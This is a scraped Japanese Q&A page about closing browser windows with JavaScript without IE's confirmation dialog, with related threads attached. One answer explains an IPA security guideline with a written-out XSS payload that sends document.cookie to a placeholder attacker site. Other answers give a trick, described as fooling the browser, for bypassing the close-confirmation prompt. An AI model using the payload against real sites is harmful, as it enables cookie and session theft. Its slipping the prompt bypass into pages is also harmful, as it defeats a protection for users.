おそらく初歩的な質問ですがよろしくおねがいします。javaスクリプトはフリーのものをコピペで使うだけで、まったくの素人です。。。

よくありがちな、子ウィンドウを閉じるのに使用する”ウィンドウを閉じる”というjavaスクリプトですが

<SCRIPT language="JavaScript">
<!--
function CloseWin(){
window.close();
}
// -->
</SCRIPT>

これをそのままhtml内に挿入し、いざ使用してみると、わざわざダイアログが開いて”ウィンドウは表示中のwebページにより閉じられようとしています。このウィンドウを閉じますか?”と確認してきます(win/IE5.5)
普通こういうスクリプトを使用して子ウィンドウを開くサイトをみてもこのようにダイアログは開くことありませんよね。
ダイアログを開かせずに即ウィンドウを閉じたいのですが、どうすればよいのでしょうか?もしかして親ウィンドウ側にも何か記述が必要なのでしょうか?

このQ&Aに関連する最新のQ&A

A 回答 (1件)

はじめまして。

vincent.と申します。

上記の記述方法は、<head>タグ内にfunctionとして記述している方法ですね?
で、リンクからそのメソッドを呼び出している訳ですね?

そんなことをせずとも、

<a href="javascript:window.close();">閉じる</a>

と、任意のリンクで閉じることが出来ますよ。

    • good
    • 0
この回答へのお礼

ありがとうございます。そんな簡単な方法も有ったんですね。Flashを使ってるので、本を買うなどしてもうちょっとjavaスクリプトを勉強してみます。

ありがとうございました。

お礼日時:2001/05/05 02:50

このQ&Aに関連する人気のQ&A

お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!

このQ&Aを見た人が検索しているワード

このQ&Aと関連する良く見られている質問

Q 要素の内

▽安全なウェブサイトの作り方
  http://www.ipa.go.jp/security/vuln/documents/website_security.pdf

><script>...</script> 要素の内容を動的に生成しない
>ウェブページに出力する<script>...</script>要素の内容が、外部からの入力に依存する形で動的に生成される場合、任意のスクリプトが埋め込まれてしまう可能性があります

・P25で上記のように書かれているのですが、理解できません(何故ここだけ動的生成してはいけないのか等)
・具体的にどのようにして埋め込まれる恐れがあるのでしょうか?
・またここで書いている内容は、下記何れを指しているのでしょうか?
・ココカラ<script>...</script>ココマデ
・<script>ココカラ...ココマデ</script>

Aベストアンサー

攻撃の容易性でしょう。

この脆弱性を付く攻撃をする際に一番苦労するのが <script> をどうやって埋め込むかです。これは入力内容のエスケープ処理で大体は塞がれてしまうのですが、<script> 要素内に直接埋めこめられるならその問題が無いので、かなり攻撃しやすいサイトとなります。

埋め込み方法ですが、以下の様な生成をするサイトの場合なら

入力内容: 太郎
出力内容: <script>alert('こんにちは太郎さん')</script>

そのサイト内で使用している cookie 内容を盗聴するために、以下のように攻撃できます。

入力内容: ');window.location='http://攻撃サイト/'+document.cookie;a=('
出力内容: <script>alert('こんにちは');window.location='http://攻撃サイト/'+document.cookie;a=('さん')</script>

引用符のエスケープ処理で塞がれるかもしれませんが、それでも対処できる余地はあります。

Qウィンドウを閉じる際のダイアログ

JavaScriptのwindow.close()を使ってウィンドウを閉じようとすると、「ウィンドウは、表示中のWebページにより閉じられようとしています。このウィンドウを閉じますか?」という確認ダイアログが出てくるのですが、出さないようにするにはどうしたらいいでしょうか?

Aベストアンサー

子画面に関しては、以下の人たちの方法で閉じれます。
親画面に関しては、セキュリティ上そのような仕様になっています。

ですが、IE6.0以上に限っては以下のコーディングで警告無しで閉じる事が出来ます。

如何でしょうか。

'********** ここから **********
<form>
<script>
<!--
function myClose(){
  var w=window.open("","_top")
  w.opener=window
  w.close()
}
//-->
</script>
<input type=button onclick=myClose() value="閉じる">
</form>
'********** ここまで **********

Q 内に書くことはできません」

元アルバイト先に頼まれてサイトを作り運営しているのですが、わからないことがあるので教えて下さい。

サイトはXHTML1.0 Transitional で作っており、ここに、http://fmono.sub.jp/ の「w3Analyzer」を組み込みアクセス解析をしています。サイト自体もこのアクセス解析も正常に動作しています。
ただ、このサイトをhttp://openlab.ring.gr.jp/k16/htmllint/htmllint.htmlで構文チェックすると、アクセス解析のタグにエラー「<img>を~行目の<script>~</script>内に書くことはできません。」が表示されてしまいます。
エラーが表示されるタグは下記のようなものです。

<script type="text/javascript">
document.write('<img src="http://~/w3a/writelog.php?ref='+document.referrer+'" width="1" height="1" />');
</script> >

アクセスログは普通に取得できているので問題ないのですが、もし上記エラーを回避する方法があればご教授下さい。よろしくお願いします。

元アルバイト先に頼まれてサイトを作り運営しているのですが、わからないことがあるので教えて下さい。

サイトはXHTML1.0 Transitional で作っており、ここに、http://fmono.sub.jp/ の「w3Analyzer」を組み込みアクセス解析をしています。サイト自体もこのアクセス解析も正常に動作しています。
ただ、このサイトをhttp://openlab.ring.gr.jp/k16/htmllint/htmllint.htmlで構文チェックすると、アクセス解析のタグにエラー「<img>を~行目の<script>~</script>内に書くことはできません。」が表示されてし...続きを読む

Aベストアンサー

XHTML には「ホンモノの XHTML」と「ニセモノの XHTML」があります。「ホンモノの XHTML」とは application/xml または application/xhtml+xml として識別されるもの、「ニセモノの XHTML」は text/html で識別されるものです。

※実際にはどちらも本物です。ここでは「HTML 互換として処理される XHTML」を「ニセモノ」、「XML として解析される XHTML」を「ホンモノ」と、カタカナ&カッコ付きで書いています。

「ホンモノの XHTML」として見れば、質問文のソースは妥当性違反です。なぜなら、img 要素のタグがエスケープされていないため、これがスクリプトの一部ではなく文書構成要素だと判断されるからです。XHTML 1.0 のスキーマは、script 要素内に img 要素が出現することを許していません。もちろん、スクリプトとしても正しく動作しません。

従って、XML のルールに従ってエスケープする必要があります。特に「<」と「&」は必ずエスケープしなければなりません。

document.write('&lt;img .... />');

ですが面倒なことに、「ニセモノの XHTML」ではこれが動作しなくなります。「ニセモノの XHTML」は、HTML との互換性のために script 要素内の「<」「&」をうまく扱ってくれるのですが、それが仇となり、上記では「&lt;」が「<」に戻りません。

ならば、コメント区間にするのはどうでしょう。XML でもコメント内なら「<」「&」が現れても大丈夫です(ただし「--」だけは駄目です)。

<script type="text/javascript"><!--
document.write('<img .... />');
//--></script>

「ニセモノの XHTML」ならこれでも構いません。しかし、「ホンモノの XHTML」では、コメントは本当に破棄されてしまい、上記では動作すらしなくなります。

そこで、XML/HTML のルールを使わず、JavaScript のルールでエスケープすることを考えます。

document.write('\u003Cimg .... />');

これなら大丈夫でしょう。XML/HTML に限らず、言語が混在する際は必ず適切なエスケープを施す必要があります。エスケープを避けたければ外部スクリプトにして下さい。


なお、ここには別の問題があります。そもそも「ホンモノの XHTML」では、document.write を使用できません。これは HTML 互換の機能だからです(HTML5 に明記されています)。

XHTML を採用するのであれば、それが「ホンモノ」でも「ニセモノ」でも大丈夫なよう、document.write に頼らないコードを作成して下さい。あるいは try...catch で括るなどして、「ニセモノ」として処理されたときのみコードが動作するよう工夫して下さい。あるいはいっそ、XHTML を止めるのも 1 つの選択でしょう。

XHTML には「ホンモノの XHTML」と「ニセモノの XHTML」があります。「ホンモノの XHTML」とは application/xml または application/xhtml+xml として識別されるもの、「ニセモノの XHTML」は text/html で識別されるものです。

※実際にはどちらも本物です。ここでは「HTML 互換として処理される XHTML」を「ニセモノ」、「XML として解析される XHTML」を「ホンモノ」と、カタカナ&カッコ付きで書いています。

「ホンモノの XHTML」として見れば、質問文のソースは妥当性違反です。なぜなら、img 要素のタ...続きを読む

Qパスワード制限スクリプト。ウィンドウを閉じるスクリプトについて

WEBページにパスワード制限をかけたいと思います。
今回JavaScriptなので、めちゃめちゃ強固なものではありませんが。

下のようなスクリプトを用意しました。
------------------------

pass = prompt("パスワードを入力して下さい","");
if(pass != "XXXXX") {
parent.top.window.close();
}

------------------------

これでも動くのですが、
パスワードが不正なとき、画面を閉じようとする設計です。
ただし、その時IEだと、
「画面を閉じようとしています」と聞かれ、
「はい」「いいえ」の選択肢がでます。

「はい」・・・もちろん閉じます。
「いいえ」・・画面そのまま残ります。

これじゃ意味ないんです。
「いいえ」を選んでもとにかく閉じさせる方法が必要なんです。

「いいえ」を選択しても、繰り返し繰り返し「閉じようとしています」と聞かれるような。
なにかいいスクリプトはないでしょうか?

WEBページにパスワード制限をかけたいと思います。
今回JavaScriptなので、めちゃめちゃ強固なものではありませんが。

下のようなスクリプトを用意しました。
------------------------

pass = prompt("パスワードを入力して下さい","");
if(pass != "XXXXX") {
parent.top.window.close();
}

------------------------

これでも動くのですが、
パスワードが不正なとき、画面を閉じようとする設計です。
ただし、その時IEだと、
...続きを読む

Aベストアンサー

parent.top.window.close();
と記述してありますので、おそらくフレームを利用した画面構成なのだと思います。
記憶違いでなければ、IEの仕様でダイアログが表示され
ることがあったと思いますので、この辺りを調べれば
いいアイデアが見つかるのでは?
# 外したらごめんなさい

余談ですが:
JavaScriptでパスワードチェックを行うようであれば、MD5やSH-1などのハッシュ値を利用した方が、今より安全性を考慮した作りになりますよ。

Q子ウィンドウを開くときに、親ウィンドウ(自分)を警告なしで閉じる。

http://oshiete1.goo.ne.jp/kotaeru.php3?q=805336
の続きというか、同じことなのですが、
以下のJavaScriptで、子ウィンドウが開かれるのですが、この際に開いた親ウィンドウを閉じたいのですが、普通に閉じると警告が出てしまいます。
警告なしで、子ウィンドウを開き、親ウィンドウを閉じる方法があれば、教えてください。

<script language="JavaScript"><!--
function MenuWindow(){
var bname = navigator.appName;
var bversion = navigator.appVersion;
var spchr = ";";
var bverS = bversion.split(spchr);
var blsr = bverS[1];
var spchr = " ";
var btype = blsr.split(spchr);
var bcat = btype[1], bver = btype[2];
if ((bcat.indexOf("MSIE")<0)||(bver<5.0)) {
res = window.alert("本プログラムは Internet Explore 5.0 以降の"+
"ブラウザ以外では動作しません。");
window.close();
} else {
//location.href="menu.html";
var indexW;
var swidth=screen.availWidth;
var sheight=screen.availHeight;
var wwidth=swidth*1.0;
var leftpos=(swidth-wwidth);
var wheight=sheight*1.0;
var toppos=(sheight-wheight);
window.resizeTo(wwidth,wheight);
window.moveTo(leftpos,toppos);
window.focus();
indexW = window.open("menu.html","",'resizable=yes,top=0,left=0');
indexW.resizeTo(swidth, sheight);

//location.href="#";
}
return true;
}
//--></script>
</head>
<body onLoad="MenuWindow()">

</body>

http://oshiete1.goo.ne.jp/kotaeru.php3?q=805336
の続きというか、同じことなのですが、
以下のJavaScriptで、子ウィンドウが開かれるのですが、この際に開いた親ウィンドウを閉じたいのですが、普通に閉じると警告が出てしまいます。
警告なしで、子ウィンドウを開き、親ウィンドウを閉じる方法があれば、教えてください。

<script language="JavaScript"><!--
function MenuWindow(){
var bname = navigator.appName;
var bversion = navigator.appVersion;
var spchr = ";";
var bverS = bversio...続きを読む

Aベストアンサー

window.open() で開かれたウィンドウじゃないウィンドウを window.close() しようとすると、警告が出ます。

実は、これには穴があって...

> window.close();

の箇所を、以下のようにちょっとおまじないを入れると

  w = window.open("","_top")
  w.opener = window
  w.close()


ね、ブラウザは、勘違いしちゃうんですよね。


人気Q&Aランキング

おすすめ情報